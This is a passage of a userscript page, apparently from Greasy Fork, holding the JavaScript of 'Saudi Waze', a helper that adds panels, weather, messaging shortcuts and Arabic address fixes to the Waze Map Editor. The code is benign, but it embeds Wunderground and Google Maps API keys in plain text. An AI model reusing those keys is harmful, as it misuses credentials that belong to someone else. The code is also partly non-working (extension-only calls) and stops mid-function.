سعودي ويز

سعودي ويز برنامج يسهل التجربه لك مع مصمم الخرائط ويز

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         سعودي ويز
// @namespace    https://www.waze.com/*
// @version      1.5
// @description  سعودي ويز برنامج يسهل التجربه لك مع مصمم الخرائط ويز
// @author       sultan alrefaei
// @match        https://www.waze.com/editor/
// @match        https://www.waze.com/ar/editor/
// @match        https://www.waze.com/editor
// @match        https://www.waze.com/ar/editor
// @match        https://www.waze.com/editor/*
// @match        https://www.waze.com/ar/editor/*
// @match        https://www.waze.com/editor/*
// @match        https://www.waze.com/*
// @grant        none
// @copyright    2017 sultan alrefaei
// ==/UserScript==

var getlevel;
var checkerr = false;

if (arabiclang()){
	var myid = chrome.runtime.id;
	function getUsername(){
		var user = getClass("user-about");
		if (user != null){
			var userabout = getClass("user-about",0);
			if (userabout != undefined){
				var getInfo = userabout.innerHTML;
				var start = getInfo.indexOf('<h3>') + 4;
				var end = getInfo.indexOf('</h3>',start);
				var username = getInfo.substring(start,end);
				return username;
			}
		}else{
			alert("لتعمل إضافة سعودي ويز قم بتسجيل الدخول، وايضا قم بتحديث الصفحة بعد ذلك");
			return;
		}
	};
	window.onload = function(e){
		(function() {
			var link = document.querySelector("link[rel*='icon']") || document.createElement('link');
			link.type = 'image/x-icon';
			link.rel = 'shortcut icon';
			link.href = 'https://www.dropbox.com/s/ke0g1nf83nyoewg/waze.png?dl=1';
			getTag("head",0).appendChild(link);
		})();

		(function createFooter(){
			var URL = window.location.pathname;
			if (URL.includes("ar")){
				var list = document.getElementsByClassName("list-unstyled");
				if (list != null){
					for(i = 0; i < list.length; i++){
						if (list[i] != undefined){
							if (list[i].innerHTML != ''){
								var upside = list[i].innerHTML;
								if (upside != undefined){
									if (upside.includes("منتدى") && upside.includes("الحالة") || upside.includes("Forum") && upside.includes("Status")){
										list[i].innerHTML = "<ul><li><a title='ملفك الشخصي' target='_blank' href='https://www.waze.com/ar/user/editor/"
											+ getUsername() +"'>الملف الشخصي</a></li>"
											+ "<li><a target='_blank' href='http://status.waze.com'>تحديثات الخريطة</a></li>"
											+ "<li><a title='المنتدى الرسمي' target='_blank' href='https://www.waze.com/forum/viewforum.php?f=936'>المنتدى</a></li>"
											+ "<li><a target='_blank' href='https://wazeopedia.waze.com/wiki/SaudiArabia/%D8%A7%D9%84%D8%B5%D9%81%D8%AD%D8%A9_%D8%A7%D9%84%D8%B1%D8%A6%D9%8A%D8%B3%D9%8A%D8%A9'>الموسوعة</a></li></ul>";
										break;
									}
								}
							}
						}
					}
				}
			}
		})();

		(function changeStyle(){
			var stylecolor = getClass("toolbar");
			if (stylecolor != null){
				var stylecolored = getClass("toolbar",0);
				if(stylecolored != undefined){
					getClass("topbar",0).style.backgroundColor = "#00897B";
				}
			}
			var styletitle = getClass("short-title");
			if (styletitle != null){
				var styletitleed = getClass("short-title",0);
				if(styletitleed != undefined){
						getClass("short-title",0).innerHTML = "<a target='_blank' href='https://www.waze.com/forum/viewforum.php?f=936'>مصمم الخرائط في السعودية</a>";
				}
			}
			
		})();
		
		(function createTap(){
			var listpanel = getClass("nav nav-tabs",0);
			var panelsaudi = getClass("tab-content",0);
			var newtapdiv = document.createElement("li");
			newtapdiv.id = "panelksa";
			listpanel.appendChild(newtapdiv);
			var saudinewtap = getID("panelksa");
			if (arabiclang()){
				saudinewtap.innerHTML = "<a data-toggle='tab' title='تطبيق سعودي ويز' id='tapsaudiwaze' href='#sidepanel-saudi' style='color: #00897B;'><img draggable='false' src='https://www.dropbox.com/s/ke0g1nf83nyoewg/waze.png?dl=1'  width='15px' height='15px'></img>"
				+ "&nbsp;" + "&nbsp;" + "&nbsp;"
				+ "سعودي ويز</a>";
			}else{
				saudinewtap.innerHTML = "<a data-toggle='tab' title='Application of Saudi Waze' href='#sidepanel-saudi' style='color: #00897B;'>Saudi Waze"
					+ "&nbsp;" + "&nbsp;" + "&nbsp;"
					+ "<img draggable='false' src='https://www.dropbox.com/s/ke0g1nf83nyoewg/waze.png?dl=1'  width='15px' height='15px'></img></a>";
			}
			if (getID("sidepanel-saudi") == null){
				var newcontentdiv = document.createElement("div");
				newcontentdiv.className = "tab-pane";
				newcontentdiv.id = "sidepanel-saudi";
				if (panelsaudi != undefined){
					panelsaudi.appendChild(newcontentdiv);
				}
			}
			if (arabiclang()){
				if (getID("sidepanel-saudi").innerHTML == ""){
					newcontentdiv.innerHTML = "<div align='center' style='background: #f2f3f4; border-radius: 10px 10px 10px 10px'>"
						+ "<br><div align='center'>"
						+ "<div style='background: #dadbdc;'>"
						//-----------------------------------------------------------------
						+ "<h3><p> !<a target='_blank' href='https://www.waze.com/ar/user/editor/"
						+ getUsername() + "'>"
						+ getUsername() + "</a>أهلا بك</p></h3></div><hr>"
						//-----------------------------------------------------------------
						+ "<div style='background: #EEEEEE; cursor:pointer'>"
						+ "<h3 id='alertsmap'>تنبيهات الخريطة</h3></div>"
						+ "<div id='alertswaze'><br><p id='problem_user'></p>"
						+ "<p id='problem_road'></p>"
						+ "<p id='new_place'></p>"
						+ "<p id='new_update_place'></p>"
						+ "<p id='new_img'></p></div>"
						//-----------------------------------------------------------------
						+ "<hr><div style='background: #EEEEEE; cursor:pointer'>"
						+ "<h3 id='editorpro'>إحصائيات تعديلاتك حسب النوع</h3></div>"
						+ "<div id='editorlist'><br>"
						+ "<p id='replayeditor'></p>"
						+ "<p id='placeseditor'></p>"
						+ "<p id='restrictionseditor'></p>"
						+ "<p id='buildingeditor'></p>"
						+ "<p id='segmenteditor'></p>"
						+ "<p id='placesreviews'></p>"
						+ "<p id='problems'></p>"
						+ "<p id='roadseditor'></p>"
						+ "<input type='button' onclick='repage()' value='تحديث البيانات'></div>"
						//-----------------------------------------------------------------
						+ "<hr><p>البحث عن مستخدم في ويز</p>"
						+ "<input id='otherusername' type='text' placeholder='Username'>"
						+ "<br><br><input type='button' onclick='finduser()' value='بحث'>"
						+ "<input type='button' onclick='messageBox()' value='رسالة خاصة'>"
						//-----------------------------------------------------------------
						+ "<hr><br><input type='button' onclick='OpenLivemap()' value='الخريطة المباشرة'>"
						//-----------------------------------------------------------------
						+ "<p><br><hr><br><input type='button' onclick='areamanagerksa()' value='طلب مساحة إدارية'></p>"
						//-----------------------------------------------------------------
						+ "<hr><div style='background: #EEEEEE; cursor:pointer'>"
						+ "<h3 id='areaeditor' >مديروا المساحة ومديروا الدولة</h3></div>"
						+ "<div id='areaeditorcontent'><br>"
						+ "<input style='margin: 1px 5px; padding: 5px 30px;' type='button' onclick='sendmsg()' value='مراسلة'>"
						+ "<select id='areaManager'>"
						+ "<option style='color: green' title='مدير الدولة' value='AlObaili' selected='selected'>AlObaili</option>"
						+ "<option title='مدير منطقة مكة المكرمة' value='sultan_alrefaei'>sultan_alrefaei</option>"
						+ "</select></div>"
						//-----------------------------------------------------------------
						+ "<hr><div style='background: #EEEEEE; cursor:pointer'><h3 id='newtopiceditor'>كتابة موضوع جديد في المنتدى</h3></div>"
						+ "<div id='newtopiccontent'><br><input type='button' onclick='newtopic()' value='موضوع جديد'><br></div>"
						//-----------------------------------------------------------------
						+ "<hr><div style='background: #EEEEEE; cursor:pointer'><h3 id='costomcolor'>تخصيص اللون <input id='checked' type='checkbox'></h3></div>"
						+ "<div id='costomeditor'><br><select id='Colors'><option value='#00695C'>Green</option><option value='red'>Red</option></select><br></div>"
						+ "<hr><div style='background: #EEEEEE; cursor:pointer'><h3 id='costomroad'>تخصيص الطرق <input id='checkedRoad' type='checkbox'></h3></div>"
						+"<div id='costomroadeditor'><br>طريق متقطع <input id='checkeddasharray' type='checkbox'><br><br></div>"
						//-----------------------------------------------------------------
						+ "<hr><div style='background: #EEEEEE; cursor:pointer'><h3 id='weathereditor'>حالة الطقس الأن في <h3 id='citynamewh'></h3></h3></div>"
						+ "<div id='weathercontent'><br><a id='amy' href=''><img id='myimg' draggable='false' width='40px' height='40px' style=''></a>"
						+ "<br><h1 id='weather'></h1><br><h3 id='temperature'></h3><br><h3 id='feelslike'></h3><br><h3 id='humidity'></h3><br><h3 id='wind'></h3><br><h6 id='full_name_address'></h6><h6 id='time'></h6></div>"
						//-----------------------------------------------------------------
						+ "<hr><div style='background: #EEEEEE; cursor:pointer'><h3 id='messagepr'>الرسائل الخاصة</h3></div>"
						+ "<div id='messagecontent'><br><a id='prmsg' target='_blank' href='https://www.waze.com/forum/ucp.php?i=pm&folder=inbox'></a>"
						+ "<br><br><input style='' type='button' onclick='repagemsg()' value='تحديث'></div>"
						//-----------------------------------------------------------------
						+ "<hr><div style='background: #dadbdc'><h3>معلومات الإصدار</h3></div>"
						+ "<br><strong id='saudiwazeversion'></strong>"
						+ "<a target='_blank' href='https://chrome.google.com/webstore/detail/%D8%B3%D8%B9%D9%88%D8%AF%D9%8A-%D9%88%D9%8A%D8%B2/nnhjieflepdikdbnopfnkjbnmepemdle'>سعودي ويز</a>"
						+ "<br><hr><input type='button' style='border: 2px solid #00897b; background-color: #f2f3f4; border-radius: 2px; padding: 3px 65px;' id='aboutmeframe' value='حول التطبيق'><br><br></div>"
						//-----------------------------------------------------------------
						+ "</div><br><br><div align='center' style='background: #BBDEFB; border-radius: 10px 0px 10px 0px'>"
						+ "<a target='_blank' title='سعودي ويز' href='https://twitter.com/saudiwazear'>"
						+ "<img src='https://www.dropbox.com/s/eqvo7kojhluth5z/twitter.png?dl=1' alt='twitter' height='40' width='40'><br></a></img></div><br>"
						+ "<strong><p align='center' id='datemove'></p></strong>";
						//-----------------------------------------------------------------
				}
			
				var manifestData = chrome.runtime.getManifest();
				getID("saudiwazeversion").innerText = "v" + manifestData.version + "   ";
			}else{
				newcontentdiv.innerHTML = "<div align='center' style='background: #F5F5F5; border-radius: 0px 0px 5px 5px'><br><div align='center'><div style='background: #EEEEEE;'>"
					+ "<p>The tool works only in Arabic interface.</p></div><br></div>";
			}
			var newscript = document.createElement("script");
			newscript.id = "newscripted";
			document.body.appendChild(newscript);
			if (getID("newscripted").innerHTML == ""){
				getID("newscripted").innerHTML = "function newtopic(){open('https://www.waze.com/forum/posting.php?mode=post&f=936');}"
					+ " function sendmsg(){var e = document.getElementById('areaManager'); var areaCM = e.options[e.selectedIndex].value; open('https://www.waze.com/forum/user_message_redirect.php?username=' + areaCM);}"
					+ " function messageBox(){var userMSG = document.getElementById('otherusername').value; if(userMSG == ''){alert('أدخل اسم المستخدم'); return} open('https://www.waze.com/forum/user_message_redirect.php?username=' + userMSG);}"
					+ " function areamanagerksa(){getlevel = document.getElementsByClassName('level')[0]; if(getlevel.innerText == 'LEVEL 1' || getlevel.innerText == 'المستوى 1'){alert('يجب أن تكون في المستوى 2'); return;}else{open('https://docs.google.com/forms/d/e/1FAIpQLSegfc7twk1dQO9PHbiXCBNFGCr9383T2qduJl4GawZ3tbDkig/viewform');}}"
					+ " function OpenLivemap(){open('https://www.waze.com/ar/livemap');}"
					+ " function finduser(){var user = document.getElementById('otherusername').value; if(user == ''){alert('أدخل اسم المستخدم'); return} open('https://www.waze.com/ar/user/editor/' + user);}"
					+ " function applyaddress(){var name = document.getElementsByClassName('form-control'); if(name[3].value == ''){ name[3].removeAttribute('required'); name[3].setAttribute('disabled',''); name[3].style.disabled = 'disabled'; name[3].style.opacity = 1; document.getElementById('emptyCity').checked = true;}}"
					+ " function repage(){if (document.getElementById('wazeprofile') != null){document.getElementById('wazeprofile').contentWindow.location.reload(true);}}"
					+ " function repagemsg(){if (document.getElementById('msgforum') != null){document.getElementById('msgforum').contentWindow.location.reload(true);}}"
					+ " document.getElementById('editorpro').addEventListener('click', function(){var rr = document.getElementById('editorlist').style.display; if (rr == 'block'){document.getElementById('editorlist').style.display = 'none'; document.getElementById('editorpro').style.backgroundColor = '#00897b'; document.getElementById('editorpro').style.color = 'white'}else{document.getElementById('editorlist').style.display = 'block'; document.getElementById('editorpro').style.backgroundColor = '';  document.getElementById('editorpro').style.color = ''}});"
					+ " document.getElementById('alertsmap').addEventListener('click', function(){var rr = document.getElementById('alertswaze').style.display; if (rr == 'block'){document.getElementById('alertswaze').style.display = 'none'; document.getElementById('alertsmap').style.backgroundColor = '#00897b'; document.getElementById('alertsmap').style.color = 'white'}else{document.getElementById('alertswaze').style.display = 'block'; document.getElementById('alertsmap').style.backgroundColor = '';  document.getElementById('alertsmap').style.color = ''}});"
					+ " document.getElementById('areaeditor').addEventListener('click', function(){var rr = document.getElementById('areaeditorcontent').style.display; if (rr == 'block'){document.getElementById('areaeditorcontent').style.display = 'none'; document.getElementById('areaeditor').style.backgroundColor = '#00897b'; document.getElementById('areaeditor').style.color = 'white'}else{document.getElementById('areaeditorcontent').style.display = 'block'; document.getElementById('areaeditor').style.backgroundColor = '';  document.getElementById('areaeditor').style.color = ''}});"
					+ " document.getElementById('newtopiceditor').addEventListener('click', function(){var rr = document.getElementById('newtopiccontent').style.display; if (rr == 'block'){document.getElementById('newtopiccontent').style.display = 'none'; document.getElementById('newtopiceditor').style.backgroundColor = '#00897b'; document.getElementById('newtopiceditor').style.color = 'white'}else{document.getElementById('newtopiccontent').style.display = 'block'; document.getElementById('newtopiceditor').style.backgroundColor = '';  document.getElementById('newtopiceditor').style.color = ''}});"
					+ " document.getElementById('costomcolor').addEventListener('click', function(){var rr = document.getElementById('costomeditor').style.display; if (rr == 'block'){document.getElementById('costomeditor').style.display = 'none'; document.getElementById('costomcolor').style.backgroundColor = '#00897b'; document.getElementById('costomcolor').style.color = 'white'}else{document.getElementById('costomeditor').style.display = 'block'; document.getElementById('costomcolor').style.backgroundColor = '';  document.getElementById('costomcolor').style.color = ''}});"
					+ " document.getElementById('costomroad').addEventListener('click', function(){var rr = document.getElementById('costomroadeditor').style.display; if (rr == 'block'){document.getElementById('costomroadeditor').style.display = 'none'; document.getElementById('costomroad').style.backgroundColor = '#00897b'; document.getElementById('costomroad').style.color = 'white'}else{document.getElementById('costomroadeditor').style.display = 'block'; document.getElementById('costomroad').style.backgroundColor = '';  document.getElementById('costomroad').style.color = ''}});"
					+ " document.getElementById('weathereditor').addEventListener('click', function(){var rr = document.getElementById('weathercontent').style.display; if (rr == 'block'){document.getElementById('weathercontent').style.display = 'none'; document.getElementById('weathereditor').style.backgroundColor = '#00897b'; document.getElementById('weathereditor').style.color = 'white'}else{document.getElementById('weathercontent').style.display = 'block'; document.getElementById('weathereditor').style.backgroundColor = '';  document.getElementById('weathereditor').style.color = ''}});"
					+ " document.getElementById('citynamewh').addEventListener('click', function(){var rr = document.getElementById('weathercontent').style.display; if (rr == 'block'){document.getElementById('weathercontent').style.display = 'none'; document.getElementById('weathereditor').style.backgroundColor = '#00897b'; document.getElementById('weathereditor').style.color = 'white'}else{document.getElementById('weathercontent').style.display = 'block'; document.getElementById('weathereditor').style.backgroundColor = '';  document.getElementById('weathereditor').style.color = ''}});"
					+ " document.getElementById('messagepr').addEventListener('click', function(){var rr = document.getElementById('messagecontent').style.display; if (rr == 'block'){document.getElementById('messagecontent').style.display = 'none'; document.getElementById('messagepr').style.backgroundColor = '#00897b'; document.getElementById('messagepr').style.color = 'white'}else{document.getElementById('messagecontent').style.display = 'block'; document.getElementById('messagepr').style.backgroundColor = '';  document.getElementById('messagepr').style.color = ''}});";
			}
		})();
		
		if (arabiclang()){
			var problem_user = getClass('map-problem open user-generated'); 
			var problem_road = getClass('map-problem open');
			var problem_new_img = getClass("place-update add_image");
			var new_place = getClass("place-update add_venue");
			var new_update_place = getClass("place-update update_venue");
			setInterval(function(){
				if(problem_user != null){
					getID('problem_user').innerText = 'عدد مشاكل المستخدمين: ' + problem_user.length;
				}
				if(problem_road != null){
					getID('problem_road').innerText = 'عدد مشاكل الطرق: ' + problem_road.length;
				}
				if(problem_new_img != null){
					getID('new_img').innerText = 'صور جديدة تحتاج الموافقة: ' + problem_new_img.length;
				}
				if(new_place != null){
					getID('new_place').innerText = 'مكان جديد يحتاج الموافقة: ' + new_place.length;
				}
				if(new_update_place != null){
					getID('new_update_place').innerText = 'مراجعات أماكن: ' + new_update_place.length;
				}
			},1);
		}
		
		if (arabiclang()){
			var onemore = true;
			setInterval(function(){
				var classSave = getClass("toolbar-button waze-icon-save")[0].className;
				var circle = getTag("circle");
				var polyline = getTag("polyline");
				var path = getTag("path");
				var g = getTag("g");
				var cc = document.getElementById('Colors');
				var Colors = cc.options[cc.selectedIndex].value;
				
				for (i = 0; i < circle.length; i++){
					if (classSave.includes("ItemDisabled") == true){
						if(getID("checked").checked){
							if (circle[i].getAttribute("r") == "6" || ""){
								circle[i].setAttribute("fill",Colors);
							}
							cc.disabled = '';
						}else{
							cc.disabled = 'disabled';
						}
						
					}
				}
				
				for (i = 0; i < polyline.length; i++){
					if (classSave.includes("ItemDisabled") == true && getID("edit-panel").style.display == "none"){
						if(getID("checked").checked){
							if (polyline[i].getAttribute("stroke-opacity") == "1" && getID("edit-panel").style.display == "none"){
								polyline[i].setAttribute("stroke",Colors);
							}
							cc.disabled = '';
						}else{
							cc.disabled = 'disabled';
						}
					}
					//polyline[i].setAttribute("cursor","pointer");
					var polylineID = polyline[i].id;
					var dash = getID("checkeddasharray");
					if(getID("checkedRoad").checked){
						if (dash.checked){
							if (polylineID.includes("OpenLayers.Geometry.LineString_") == true && polyline[i].getAttribute("stroke-width") == "6"){
								polyline[i].setAttribute("stroke-dasharray","8,8");
							}
						}
						dash.disabled = '';
					}else{
						dash.disabled = 'disabled';
					}
				}
				for (i = 0; i < path.length; i++){
					//path[i].setAttribute("cursor","pointer");
					//path[i].setAttribute("stroke-width","2.5");
					var pathID = path[i].id;
					if (pathID.includes("OpenLayers.Geometry.Polygon_") == true && path[i].getAttribute("stroke-dasharray") == "8,8"){
						path[i].setAttribute("fill","#000000");
						//path[i].setAttribute("fill-opacity","0.6");
					}else{
						//path[i].setAttribute("fill","#00695C");
						//path[i].setAttribute("stroke","white");
					}
				}
				var cr = getClass("form-control");
				var full_address = getClass("full-address");
				var address = full_address[0].innerText;
				var city = address.replace(', المملكة العربية السعودية','');
				if (cr != null){
					if (arabiclang()){
						for(i = 0; i < cr.length; i++){
							var SA = cr[i].textContent;
							if (SA.includes("Saudi Arabia")){
								cr[i].innerHTML = '<option value="190" selected="">المملكة العربية السعودية</option>';
								if (cr[3].value == ""){
									var emptyCity = getID("emptyCity");
									if (emptyCity != null){
										var citycheck = getID("emptyCity").checked;
										if (citycheck == false){
											if (city == "المملكة العربية السعودية"){
												cr[3].value = "";
											}else{
												cr[3].value = city;
											}
										}
									}
									if (getID("edit-panel").style.display != "none"){
										if (onemore){
											var checktool = getClass("selection");
											if (checktool.length < 1){
											}else{
												var cAddress = getClass("address-edit address-edit-view clearfix preview");
												if (cAddress != null){
													dd = getClass("address-edit address-edit-view clearfix preview");
													if (dd != undefined){
														if (dd[0] != undefined){
															dd[0].className = "address-edit address-edit-view clearfix editing";
															onemore = false;
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				
				var checkaditor = getClass("address-form clearfix inner-form");
				if (checkaditor != null){
					if (getID("edit-panel").style.display != "none"){
						var x = getClass("btn btn-primary save-button");
						if (x[0] != undefined){
							var xClick = x[0].hasAttribute("onclick");
							getClass("btn btn-primary save-button")[0].setAttribute("onclick","applyaddress();");
						}
					}
					
					if (getID("edit-panel").style.display == "none"){
						if (onemore == false){
							onemore = true;
						}
					}
				}				
				
			},1);
		}
	}


	setInterval(function(){
		if (getClass("full-address")){
			var full = getClass("full-address",0);
			if (full != undefined){
				var yy = full.innerText;
				if (yy.includes("Saudi Arabia")){
					getClass("full-address",0).innerText = getClass("full-address",0).innerText.replace("Saudi Arabia","المملكة العربية السعودية");
				}
			}
		}
		var checktool = document.getElementsByClassName("selection");
		if (checktool.length < 1){
		}else{
			alert
			var checkaditor = getClass("address-form clearfix inner-form");
			if (checkaditor != null){
				if (getID("edit-panel").style.display != "none"){
					var full_name = getClass("primary-street");
					if (full_name != null){
						if (getClass("primary-street")){
							var xx = getClass("primary-street",0);
							if (xx != undefined){
								var rr = xx.innerText;
								if (rr.includes("Saudi Arabia")){
									var full_address_name = getClass("primary-street",0);
									getClass("primary-street",0).innerText = full_address_name.innerText.replace("Saudi Arabia","المملكة العربية السعودية");
								}
							}
						}
					}
				}
			}
		}
		var cr = getClass("form-control");
		if (cr[3] != undefined){
			cr[3].title = "اسم المدينة";
		}
		var rn = getClass("form-control");
		if (cr[2] != undefined){
			cr[2].title = "اسم الشارع";
		}
		
		if (arabiclang()){
			var areas = document.getElementsByClassName("result-list-container");
			if (areas != null){
				if (areas[0] != undefined){
					var checckp = document.getElementById("alertarea");
					if (checckp == null){
						var p = document.createElement("p");
						p.id = "alertarea";
						p.style.direction = "rtl";
						p.style.color = "red";
						p.innerText = "يتم حذف مساحة مشوارك بعد 30 يوم تقريًبا ويتوجب عليك القيادة مرة أخرى على نفس المسار لفتح المساحة مرة أخرى.";
						areas[0].appendChild(p);
					}
				}
			}

			var msg = document.getElementsByClassName("message");
			if (msg != null){
				for (i = 0; i < msg.length; i++){
					var message = msg[i].innerText;
					if (message.includes("لا يمكننا العثور على أي من مشاويرك.")){
						msg[i].setAttribute("dir","rtl");
					}
					if (message.includes("هل بدأت القيادة باستخدام تطبيق Waze من قبل؟ إذا كان كذلك، فضلًا تأكد من أنك سجلت الدخول بنفس البيانات التي تستخدمها في التطبيق.")){
						msg[i].setAttribute("dir","rtl");
					}
					if (message.includes("اختر إحدى مساحاتك لرويتها على الخريطة:")){
						msg[i].setAttribute("dir","rtl");
					}
				}
			}
			
			var title = document.getElementsByClassName("result-list");
			if (title != null){
				for (i = 0; i < title.length; i++){
					title[i].setAttribute("dir","rtl");
				}
			}
			var content = document.getElementsByClassName("side-panel-section");
			if (content != null){
				for (i = 0; i < content.length; i++){
					content[i].setAttribute("dir","rtl");
				}
			}
			/*var deletebtn = document.getElementsByClassName("delete");
			if (deletebtn != null){
				for (i = 0; i < deletebtn.length; i++){
					deletebtn[i].style.right = "90%";
				}
			}*/
		}

	},150);
	setInterval(function(){
		if (getID('weathercontent') != null){
			if (getID('weathercontent').style.display != 'none'){
				try {
					if (checkerr == false){
						Weather();
					}
				}
				catch(err) {
					checkerr = true;
					if (getID("myimg") != null){
						getID("myimg").src = "https://www.dropbox.com/s/xxivim39ojs6bct/blank.png?dl=1";
						getID("myimg").title = "لم نستطع تحميل حالة الطقس";
						getID("myimg").style.width = "250px";
						getID("myimg").style.height = "150px";
					}
					setTimeout(function(){ checkerr = false }, 3000);
				}
			}
		}
		full_address_nm();
	},5000);

	function getID(ID){
		return document.getElementById(ID);
	};

	function getClass(Class,Length){
		if (Length != undefined){
			return document.getElementsByClassName(Class)[Length];
		}
		else{
			return document.getElementsByClassName(Class);
		}
	};

	function getTag(Tag,Length){
		if (Length != undefined)
			return document.getElementsByTagName(Tag)[Length];
		else
			return document.getElementsByTagName(Tag);
	};

	function getLoction(){
		var mousepos = document.getElementsByClassName("mouse-position");
		if (mousepos != null){
			if (mousepos[0] != undefined){
				var Position = mousepos[0].innerText;
				return Position.replace(" ",",");
			}
		}
	}

	function getPosGoogle(){
		var Longitude = getLoction().substr(0, getLoction().indexOf(','));
		var Latitude = getLoction().substr(getLoction().indexOf(",") + 1);
		var GooglePos = Latitude + "," + Longitude;
		return GooglePos;
	}

	function getResult(URL){
			var getReguest = new XMLHttpRequest();
			getReguest.open("GET",URL,false);
			getReguest.send();
			return getReguest.responseText;
	}

	var key = "17b9b6766884f6e7";

	function Weather(){
		getID("myimg").title = "";
		getID("myimg").style.width = "40px";
		getID("myimg").style.height = "40px";
		var textContent = getResult("https://api.wunderground.com/api/" + key + "/forecast/conditions/lang:AR/q/" +  getPosGoogle() + ".json");
		var obj = JSON.parse(textContent);
		
		if (obj.forecast != undefined){
			getID("myimg").src = obj.current_observation.icon_url.replace("http","https");
			var streetaddress = getLoction().substr(0, getLoction().indexOf(','));
			var afterComma = getLoction().substr(getLoction().indexOf(",") + 1);
			var GooglePos = afterComma + "," + streetaddress;
			var icon = obj.current_observation.icon_url;
			if (icon.includes("rain")){
				if(getID("tapsaudiwaze") != null){
					if (getID("imgalert") == null){
						var img = document.createElement("img");
						img.style.width = "6px";
						img.style.height = "6px";
						img.style.marginLeft = "7px";
						img.id = "imgalert";
						img.title = "تنبيه مطر";
						img.src = "https://www.dropbox.com/s/usk0hraehj6lo83/Alert.png?dl=1";
						getID("tapsaudiwaze").appendChild(img);
					}
				}
			}else{
				if (getID("imgalert") != null){
					var elem = document.getElementById("imgalert");
					elem.parentElement.removeChild(elem);
				}
			}
		}

		if (getID("temperature") != null){
			getID("temperature").innerText = obj.current_observation.temperature_string + " :درجة الحرارة" ;
			if (obj.current_observation.temp_c >= 40){
				getID("temperature").style.color = "red";
			}else if (obj.current_observation.temp_c <= 10 ){
				getID("temperature").style.color = "blue";
			}else{
				getID("temperature").style.color = "black";
			}
		}
		if (getID("feelslike") != null){
			getID("feelslike").innerText = obj.current_observation.feelslike_string + " :المحسوسة";
		}

		if (getID("humidity") != null){
			getID("humidity").innerText = obj.current_observation.relative_humidity + " :الرطوبة";
		}
		
		if (getID("wind") != null){
			getID("wind").innerText = "الرياح: " + obj.current_observation.wind_kph + " كم/الساعة";
		}
		
		if (getID("time") != null){
			getID("time").innerText = obj.current_observation.local_time_rfc822;
		}
		
		if (getID("weather") != null){
			getID("weather").innerText = obj.current_observation.weather;
		}
		
	}

	function full_address_nm(){
		if (window.XMLHttpRequest) {
			function getResultCityFullName(URL){
				var getReguest = new XMLHttpRequest();
				getReguest.open("GET",URL,false);
				getReguest.send();
				return getReguest.responseText;
			}
		} 
		var textCityFullName = getResultCityFullName("https://maps.googleapis.com/maps/api/geocode/json?latlng=" + getPosGoogle() + "&key=AIzaSyCvb5EqM9WSft54VLuuilrLY6mYj6c0qTU");
		var objcity = JSON.parse(textCityFullName);
		
		if (getID("full_name_address") != null){
			var address_zero = objcity.results[0];
			if (address_zero != undefined){
				getID("full_name_address").innerText = objcity.results[0].formatted_address;
			}
		}
		
		if (getID("citynamewh") != null){
			var address_three = objcity.results[3];
			if (address_three != undefined){
				getID("citynamewh").innerText = "(" + objcity.results[3].formatted_address + ")";
			}
		}
	}

	function city(){
		if (getClass("full-address")){
			var full = getClass("full-address",0);
			if (full != undefined){
				var yy = full.innerText;
				if (yy.includes("المملكة العربية السعودية")){
					var city = getClass("full-address",0).innerText;
					return city.replace(", المملكة العربية السعودية","");
				}
			}
		}	
	}



	function convertGoogleToWaze(){
		if (getClass('search-query',0) != undefined){
			if (getClass('search-query',0).value != ''){
				var GooglePos = getClass('search-query',0).value.replace(' ','');
				var Latitude = GooglePos.substr(0,GooglePos.indexOf(','));
				var Longitude = GooglePos.substr(GooglePos.indexOf(',') + 1);
				GooglePos = GooglePos.replace(',','');
				GooglePos = GooglePos.replace('.','');
				if (isNaN(GooglePos) == false){
					var WazePos = Longitude + ',' + Latitude;
					return WazePos;
				}else{
					return alert("قم بإدخال الإحداثيات على هذا النحو: 21.423892, 39.824613");
				}
			}
		}
	}


	function convertval(){
		if(convertGoogleToWaze() != undefined){
			getClass('search-query',0).value = convertGoogleToWaze();
		}else{
			alert('قم بإدخال الإحداثيات');
		}
	}


	document.onkeyup = checkKey;
	var checktext = false;
	function checkKey(e) {
		e = e || window.event;

		if (e.keyCode == '106') {
			convertval();
			if (checktext == false){
				gettypepos(true);
			}else if (checktext == true){
				gettypepos(false);
			}
		}

	}

	function gettypepos(check){
		if (getID("mytext") == null){
			var h = document.createElement("h3");
			h.id = "mytext";
			h.style.position = "absolute";
			h.style.top = "5px";
			h.style.left = "40%";
			h.style.color = "white";
			getID("search").appendChild(h);
		}
		if (check == true){
			getID("mytext").innerText = "Waze";
			checktext = true;
			return;
		}else if (check == false){
			getID("mytext").innerText = "Google";
			checktext = false;
			return;
		}
	}

	setInterval(function(){
		if (getID("mytext") != null){
			if (getID("mytext").innerText != "" || getID("mytext").innerText != undefined){
				getID("mytext").innerText = "";
			}
		}
	},5000);

	setInterval(function(){
		editorProfile();
		msgForum();
	},500);

	setInterval(function(){
		// Open about me window
		if (getID("aboutmeframe") != null){
			getID("aboutmeframe").onclick = function(){
				createFrame();
				window.console.clear();
			}
			getID("aboutmeframe").onmouseover = function(){
				getID("aboutmeframe").style.backgroundColor = "#00897b";
				getID("aboutmeframe").style.color = "white";
			}
			getID("aboutmeframe").onmouseout = function(){
				getID("aboutmeframe").style.backgroundColor = "#f2f3f4";
				getID("aboutmeframe").style.color = "";
			}
		}
		//----------------
		// Close button
		if (getID("closewindow") != null){
			getID("closewindow").onclick = function(){
				document.getElementById("divalert").remove();
				window.console.clear();
			}
			getID("closewindow").onmouseover = function(){
				getID("closewindow").style.backgroundColor = "#E53935";
